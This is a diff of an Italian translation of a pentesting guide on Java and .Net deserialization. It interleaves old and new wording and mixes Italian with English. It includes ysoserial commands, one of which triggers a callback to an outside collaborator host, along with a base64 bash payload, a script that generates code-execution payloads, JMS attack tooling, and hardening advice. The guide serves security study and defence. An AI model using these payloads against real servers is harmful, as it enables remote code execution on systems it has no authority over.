Potresti provare a **controllare tutte le librerie** note per essere vulnerabili e per le quali [**Ysoserial**](https://github.com/frohoff/ysoserial) può fornire un exploit. Oppure potresti controllare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Puoi anche usare [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) per cercare possibili catene di gadget che possono essere sfruttate.\
|
||||
Quando esegui **gadgetinspector** (dopo averlo costruito) non preoccuparti dei tonnellate di avvisi/errori che sta attraversando e lascialo finire. Scriverà tutti i risultati sotto _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Si prega di notare che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.
|
||||
Puoi provare a **controllare tutte le librerie** note per essere vulnerabili e per le quali [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Oppure puoi verificare le librerie indicate su [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||||
Puoi anche usare [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) per cercare possibili gadget chains che possono essere sfruttate.\
|
||||
Quando esegui **gadgetinspector** (dopo averlo compilato) non preoccuparti dei numerosi warning/error che appariranno e lascialo terminare. Scriverà tutti i risultati in _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Nota che **gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi**.
|
||||
|
||||
#### Test Black Box
|
||||
|
||||
Utilizzando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e anche le versioni). Con queste informazioni potrebbe essere **più facile scegliere un payload** per sfruttare la vulnerabilità.\
|
||||
Usando l'estensione Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) puoi identificare **quali librerie sono disponibili** (e persino le versioni). Con queste informazioni può essere **più facile scegliere un payload** da usare per sfruttare la vulnerabilità.\
|
||||
[**Leggi questo per saperne di più su GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe è focalizzato sulle **deserializzazioni `ObjectInputStream`**.
|
||||
GadgetProbe è focalizzato su deserializzazioni **`ObjectInputStream`**.
|
||||
|
||||
Utilizzando l'estensione Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puoi **identificare librerie vulnerabili** sfruttabili con ysoserial e **sfruttarle**.\
|
||||
Usando l'estensione Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) puoi **identificare librerie vulnerabili** sfruttabili con ysoserial e **sfruttarle**.\
|
||||
[**Leggi questo per saperne di più su Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner è focalizzato sulle **deserializzazioni `ObjectInputStream`**.
|
||||
Java Deserialization Scanner è focalizzato su deserializzazioni **`ObjectInputStream`**.
|
||||
|
||||
Puoi anche usare [**Freddy**](https://github.com/nccgroup/freddy) per **rilevare vulnerabilità di deserializzazione** in **Burp**. Questo plugin rileverà **non solo vulnerabilità** relative a **`ObjectInputStream`** ma **anche** vulnerabilità da librerie di deserializzazione **Json** e **Yml**. In modalità attiva, cercherà di confermarle utilizzando payload di sleep o DNS.\
|
||||
[**Puoi trovare ulteriori informazioni su Freddy qui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
Puoi anche usare [**Freddy**](https://github.com/nccgroup/freddy) per **rilevare vulnerabilità di deserializzazione** in **Burp**. Questo plugin rileverà **non solo problemi legati a `ObjectInputStream`** ma **anche** vulnerabilità derivanti da librerie di deserializzazione **Json** e **Yml**. In modalità active, proverà a confermarle usando payload di sleep o DNS.\
|
||||
[**Puoi trovare più informazioni su Freddy qui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Test di Serializzazione**
|
||||
**Test di serializzazione**
|
||||
|
||||
Non si tratta solo di controllare se qualche libreria vulnerabile è utilizzata dal server. A volte potresti essere in grado di **cambiare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli** (forse concederti privilegi di amministratore all'interno di un'app web).\
|
||||
Se trovi un oggetto Java serializzato inviato a un'applicazione web, **puoi usare** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **per stampare in un formato più leggibile dall'uomo l'oggetto di serializzazione che viene inviato**. Sapere quali dati stai inviando renderebbe più facile modificarli e bypassare alcuni controlli.
|
||||
Non si tratta solo di verificare se il server usa una libreria vulnerabile. A volte puoi essere in grado di **modificare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli** (magari ottenendo privilegi admin in una webapp).\
|
||||
Se trovi un oggetto Java serializzato inviato a una web application, **puoi usare** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **per stampare in un formato più leggibile l'oggetto serializzato inviato**. Sapere quali dati stai inviando rende più semplice modificarli e bypassare controlli.
|
||||
|
||||
### **Exploit**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
Lo strumento principale per sfruttare le deserializzazioni Java è [**ysoserial**](https://github.com/frohoff/ysoserial) ([**scarica qui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Puoi anche considerare di usare [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) che ti permetterà di usare comandi complessi (con pipe ad esempio).\
|
||||
Nota che questo strumento è **focalizzato** sullo sfruttamento di **`ObjectInputStream`**.\
|
||||
Inizierei **usando il payload "URLDNS"** **prima di un payload RCE** per testare se l'iniezione è possibile. Comunque, nota che forse il payload "URLDNS" non funziona ma un altro payload RCE sì.
|
||||
Lo strumento principale per sfruttare le deserializzazioni Java è [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Puoi anche considerare l'uso di [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) che ti permetterà di usare comandi complessi (con pipe, per esempio).\
|
||||
Nota che questo strumento è **focalizzato** sullo sfruttamento di deserializzazioni **`ObjectInputStream`**.\
|
||||
Ti consiglio di **iniziare usando il payload "URLDNS"** **prima di un payload RCE** per testare se l'iniezione è possibile. Comunque, tieni presente che il payload "URLDNS" potrebbe non funzionare mentre un altro payload RCE potrebbe.
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -485,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
Quando crei un payload per **java.lang.Runtime.exec()** non **puoi usare caratteri speciali** come ">" o "|" per reindirizzare l'output di un'esecuzione, "$()" per eseguire comandi o anche **passare argomenti** a un comando separati da **spazi** (puoi fare `echo -n "hello world"` ma non puoi fare `python2 -c 'print "Hello world"'`). Per codificare correttamente il payload potresti [usare questa pagina web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
Quando crei un payload per **java.lang.Runtime.exec()** **non puoi usare caratteri speciali** come ">" o "|" per reindirizzare l'output di un'esecuzione, "$()" per eseguire comandi o anche **passare argomenti** a un comando separati da **spazi** (puoi fare `echo -n "hello world"` ma non puoi fare `python2 -c 'print "Hello World"'`). Per codificare correttamente il payload puoi [usare questa pagina web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||||
|
||||
Sentiti libero di usare il prossimo script per creare **tutti i possibili payload di esecuzione del codice** per Windows e Linux e poi testarli sulla pagina web vulnerabile:
|
||||
Sentiti libero di usare lo script seguente per creare **tutti i possibili code execution** payloads per Windows e Linux e poi testarli sulla pagina web vulnerabile:
|
||||
```python
|
||||
import os
|
||||
import base64
|
||||
@ -510,11 +523,11 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
Puoi **usare** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **insieme a ysoserial per creare più exploit**. Maggiori informazioni su questo strumento nelle **diapositive del talk** in cui lo strumento è stato presentato: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
Puoi **usare** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **insieme a ysoserial per creare più exploits**. Ulteriori informazioni su questo strumento nelle **slide della presentazione** in cui è stato presentato: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)può essere utilizzato per generare payload per sfruttare diverse librerie di serializzazione **Json** e **Yml** in Java.\
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) può essere usato per generare payload per sfruttare diverse librerie di serializzazione **Json** e **Yml** in Java.\
|
||||
Per compilare il progetto ho dovuto **aggiungere** queste **dipendenze** a `pom.xml`:
|
||||
```html
|
||||
<dependency>
|
||||
@ -530,35 +543,35 @@ Per compilare il progetto ho dovuto **aggiungere** queste **dipendenze** a `pom.
|
||||
<type>pom</type>
|
||||
</dependency>
|
||||
```
|
||||
**Installa maven**, e **compila** il progetto:
|
||||
**Installa maven** e **compila** il progetto:
|
||||
```bash
|
||||
sudo apt-get install maven
|
||||
mvn clean package -DskipTests
|
||||
```
|
||||
#### FastJSON
|
||||
|
||||
Leggi di più su questa libreria Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
Leggi di più su questa libreria Java per JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||||
|
||||
### Labs
|
||||
### Laboratori
|
||||
|
||||
- Se vuoi testare alcuni payload ysoserial puoi **eseguire questa webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- Se vuoi testare alcuni payloads di ysoserial puoi **eseguire questa webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Why
|
||||
### Perché
|
||||
|
||||
Java utilizza molto la serializzazione per vari scopi come:
|
||||
Java fa largo uso della serializzazione per vari scopi, come:
|
||||
|
||||
- **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.
|
||||
- **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
|
||||
- **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client pesanti basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
|
||||
- **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete.
|
||||
- **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che verrà dimostrata negli esempi di exploit futuri.
|
||||
- **HTTP requests**: La serializzazione è ampiamente utilizzata nella gestione di parametri, ViewState, cookie, ecc.
|
||||
- **RMI (Remote Method Invocation)**: Il protocollo Java RMI, che si basa interamente sulla serializzazione, è una pietra angolare per la comunicazione remota nelle applicazioni Java.
|
||||
- **RMI over HTTP**: Questo metodo è comunemente usato dalle applicazioni web con thick client basate su Java, utilizzando la serializzazione per tutte le comunicazioni di oggetti.
|
||||
- **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti sulla rete.
|
||||
- **Custom Protocols**: In Java, la pratica standard prevede la trasmissione di oggetti Java grezzi, cosa che sarà dimostrata nei prossimi esempi di exploit.
|
||||
|
||||
### Prevention
|
||||
### Prevenzione
|
||||
|
||||
#### Transient objects
|
||||
#### Oggetti transient
|
||||
|
||||
Una classe che implementa `Serializable` può implementare come `transient` qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzabile. Ad esempio:
|
||||
Una classe che implementa `Serializable` può dichiarare come `transient` qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzato. Per esempio:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
@ -567,20 +580,20 @@ private transient double margin; // declared transient
|
||||
```
|
||||
#### Evitare la serializzazione di una classe che deve implementare Serializable
|
||||
|
||||
In scenari in cui alcuni **oggetti devono implementare l'interfaccia `Serializable`** a causa della gerarchia delle classi, c'è il rischio di deserializzazione involontaria. Per prevenire ciò, assicurati che questi oggetti non siano deserializzabili definendo un metodo `readObject()` `final` che lancia costantemente un'eccezione, come mostrato di seguito:
|
||||
In scenari in cui alcuni **oggetti devono implementare l'interfaccia `Serializable`** a causa della gerarchia di classi, esiste il rischio di deserializzazione involontaria. Per evitarlo, assicurati che questi oggetti non siano deserializzabili definendo un metodo `final` `readObject()` che lancia sempre un'eccezione, come mostrato di seguito:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
}
|
||||
```
|
||||
#### **Migliorare la Sicurezza della Deserializzazione in Java**
|
||||
#### **Rafforzare la sicurezza della deserializzazione in Java**
|
||||
|
||||
**Personalizzare `java.io.ObjectInputStream`** è un approccio pratico per garantire la sicurezza dei processi di deserializzazione. Questo metodo è adatto quando:
|
||||
**Personalizzare `java.io.ObjectInputStream`** è un approccio pratico per mettere in sicurezza i processi di deserializzazione. Questo metodo è adatto quando:
|
||||
|
||||
- Il codice di deserializzazione è sotto il tuo controllo.
|
||||
- Le classi previste per la deserializzazione sono conosciute.
|
||||
- Le classi attese per la deserializzazione sono note.
|
||||
|
||||
Sovrascrivi il **`resolveClass()`** metodo per limitare la deserializzazione solo alle classi consentite. Questo impedisce la deserializzazione di qualsiasi classe tranne quelle esplicitamente autorizzate, come nell'esempio seguente che limita la deserializzazione solo alla classe `Bicycle`:
|
||||
Sovrascrivi il metodo **`resolveClass()`** per limitare la deserializzazione solo alle classi consentite. Questo evita la deserializzazione di qualsiasi classe eccetto quelle esplicitamente autorizzate, come nell'esempio seguente che limita la deserializzazione solo alla classe `Bicycle`:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -601,17 +614,17 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione alternativa quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting delle classi dannose**, utilizzando un parametro JVM:
|
||||
**Using a Java Agent for Security Enhancement** offre una soluzione di fallback quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **blacklisting harmful classes**, usando un parametro JVM:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
Fornisce un modo per proteggere la deserializzazione in modo dinamico, ideale per ambienti in cui le modifiche immediate al codice sono impraticabili.
|
||||
Fornisce un modo per proteggere la deserializzazione dinamicamente, ideale per ambienti in cui modifiche immediate al codice sono impraticabili.
|
||||
|
||||
Controlla un esempio in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
Consulta un esempio in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||||
|
||||
**Implementazione dei filtri di serializzazione**: Java 9 ha introdotto i filtri di serializzazione tramite l'interfaccia **`ObjectInputFilter`**, fornendo un meccanismo potente per specificare i criteri che gli oggetti serializzati devono soddisfare prima di essere deserializzati. Questi filtri possono essere applicati globalmente o per stream, offrendo un controllo granulare sul processo di deserializzazione.
|
||||
**Implementazione dei filtri di serializzazione**: Java 9 ha introdotto i filtri di serializzazione tramite l'interfaccia **`ObjectInputFilter`**, offrendo un potente meccanismo per specificare i criteri che gli oggetti serializzati devono soddisfare prima di essere deserializzati. Questi filtri possono essere applicati globalmente o per stream, fornendo un controllo granulare sul processo di deserializzazione.
|
||||
|
||||
Per utilizzare i filtri di serializzazione, puoi impostare un filtro globale che si applica a tutte le operazioni di deserializzazione o configurarlo dinamicamente per stream specifici. Ad esempio:
|
||||
Per sfruttare i filtri di serializzazione, puoi impostare un filtro globale che si applica a tutte le operazioni di deserializzazione o configurarlo dinamicamente per stream specifici. Per esempio:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -623,29 +636,30 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**Sfruttare le librerie esterne per una sicurezza migliorata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come l'inserimento in whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
||||
**Leveraging External Libraries for Enhanced Security**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.
|
||||
|
||||
- **NotSoSerial** intercetta i processi di deserializzazione per prevenire l'esecuzione di codice non attendibile.
|
||||
- **jdeserialize** consente l'analisi di oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi.
|
||||
- **Kryo** è un framework di serializzazione alternativo che enfatizza velocità ed efficienza, offrendo strategie di serializzazione configurabili che possono migliorare la sicurezza.
|
||||
- **NotSoSerial** intercepts deserialization processes to prevent execution of untrusted code.
|
||||
- **jdeserialize** allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
|
||||
- **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.
|
||||
|
||||
### Riferimenti
|
||||
### References
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Deserializzazione e talk di ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserialization and ysoserial talk: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Talk su gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slide: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Documento Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- Talk about gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) and slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec paper: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||||
- Documento sulla deserializzazione Java e .Net JSON: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- CVE di deserializzazione: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
- Java and .Net JSON deserialization **paper:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) and slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserialziations CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## Iniezione JNDI & log4Shell
|
||||
## JNDI Injection & log4Shell
|
||||
|
||||
Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page:
|
||||
|
||||
Scopri cos'è **l'iniezione JNDI, come abusarne tramite RMI, CORBA & LDAP e come sfruttare log4shell** (e un esempio di questa vulnerabilità) nella seguente pagina:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -653,71 +667,71 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Permette la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Prodotti
|
||||
### Products
|
||||
|
||||
Ci sono diversi prodotti che utilizzano questo middleware per inviare messaggi:
|
||||
There are several products using this middleware to send messages:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
### Sfruttamento
|
||||
### Exploitation
|
||||
|
||||
Quindi, fondamentalmente ci sono **un sacco di servizi che utilizzano JMS in modo pericoloso**. Pertanto, se hai **sufficienti privilegi** per inviare messaggi a questi servizi (di solito avrai bisogno di credenziali valide) potresti essere in grado di inviare **oggetti maligni serializzati che verranno deserializzati dal consumatore/sottoscrittore**.\
|
||||
Questo significa che in questo sfruttamento tutti i **client che utilizzeranno quel messaggio verranno infettati**.
|
||||
Quindi, fondamentalmente ci sono **un sacco di servizi che usano JMS in modo pericoloso**. Pertanto, se hai **privilegi sufficienti** per inviare messaggi a questi servizi (di solito serviranno credenziali valide) potresti essere in grado di inviare **oggetti serializzati malevoli che saranno deserializzati dal consumer/subscriber**.\
|
||||
Questo significa che in questo tipo di exploit tutti i **client che utilizzeranno quel messaggio verranno infettati**.
|
||||
|
||||
Dovresti ricordare che anche se un servizio è vulnerabile (perché deserializza in modo insicuro l'input dell'utente) devi comunque trovare gadget validi per sfruttare la vulnerabilità.
|
||||
Ricorda che anche se un servizio è vulnerabile (perché deserializza in modo insicuro input forniti dall'utente) devi comunque trovare gadget validi per sfruttare la vulnerabilità.
|
||||
|
||||
Lo strumento [JMET](https://github.com/matthiaskaiser/jmet) è stato creato per **connettersi e attaccare questi servizi inviando diversi oggetti maligni serializzati utilizzando gadget noti**. Questi exploit funzioneranno se il servizio è ancora vulnerabile e se uno dei gadget utilizzati è all'interno dell'applicazione vulnerabile.
|
||||
Lo strumento [JMET](https://github.com/matthiaskaiser/jmet) è stato creato per **connettersi e attaccare questi servizi inviando diversi oggetti serializzati malevoli usando gadget noti**. Questi exploit funzioneranno se il servizio è ancora vulnerabile e se uno qualsiasi dei gadget usati è presente nell'applicazione vulnerabile.
|
||||
|
||||
### Riferimenti
|
||||
### References
|
||||
|
||||
- [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
|
||||
|
||||
- Talk di JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slide: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
- JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||||
- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||||
|
||||
## .Net
|
||||
|
||||
Nel contesto di .Net, gli exploit di deserializzazione operano in modo simile a quelli trovati in Java, dove i gadget vengono sfruttati per eseguire codice specifico durante la deserializzazione di un oggetto.
|
||||
Nel contesto di .Net, gli exploit di deserialization operano in modo simile a quelli trovati in Java, dove i gadget vengono sfruttati per eseguire codice specifico durante la deserializzazione di un oggetto.
|
||||
|
||||
### Impronta
|
||||
### Fingerprint
|
||||
|
||||
#### WhiteBox
|
||||
|
||||
Il codice sorgente dovrebbe essere ispezionato per la presenza di:
|
||||
Il codice sorgente dovrebbe essere ispezionato alla ricerca di occorrenze di:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
|
||||
L'attenzione dovrebbe essere rivolta ai serializer che consentono di determinare il tipo tramite una variabile sotto il controllo dell'utente.
|
||||
L'attenzione dovrebbe essere focalizzata sui serializer che permettono che il tipo sia determinato da una variabile sotto il controllo dell'utente.
|
||||
|
||||
#### BlackBox
|
||||
|
||||
La ricerca dovrebbe mirare alla stringa codificata in Base64 **AAEAAAD/////** o a qualsiasi schema simile che potrebbe subire deserializzazione sul lato server, concedendo il controllo sul tipo da deserializzare. Questo potrebbe includere, ma non è limitato a, strutture **JSON** o **XML** con `TypeObject` o `$type`.
|
||||
La ricerca dovrebbe mirare alla stringa codificata in Base64 **AAEAAAD/////** o a qualsiasi pattern simile che potrebbe essere deserializzato lato server, concedendo il controllo sul tipo da deserializzare. Questo potrebbe includere, ma non è limitato a, strutture **JSON** o **XML** che contengono `TypeObject` o `$type`.
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
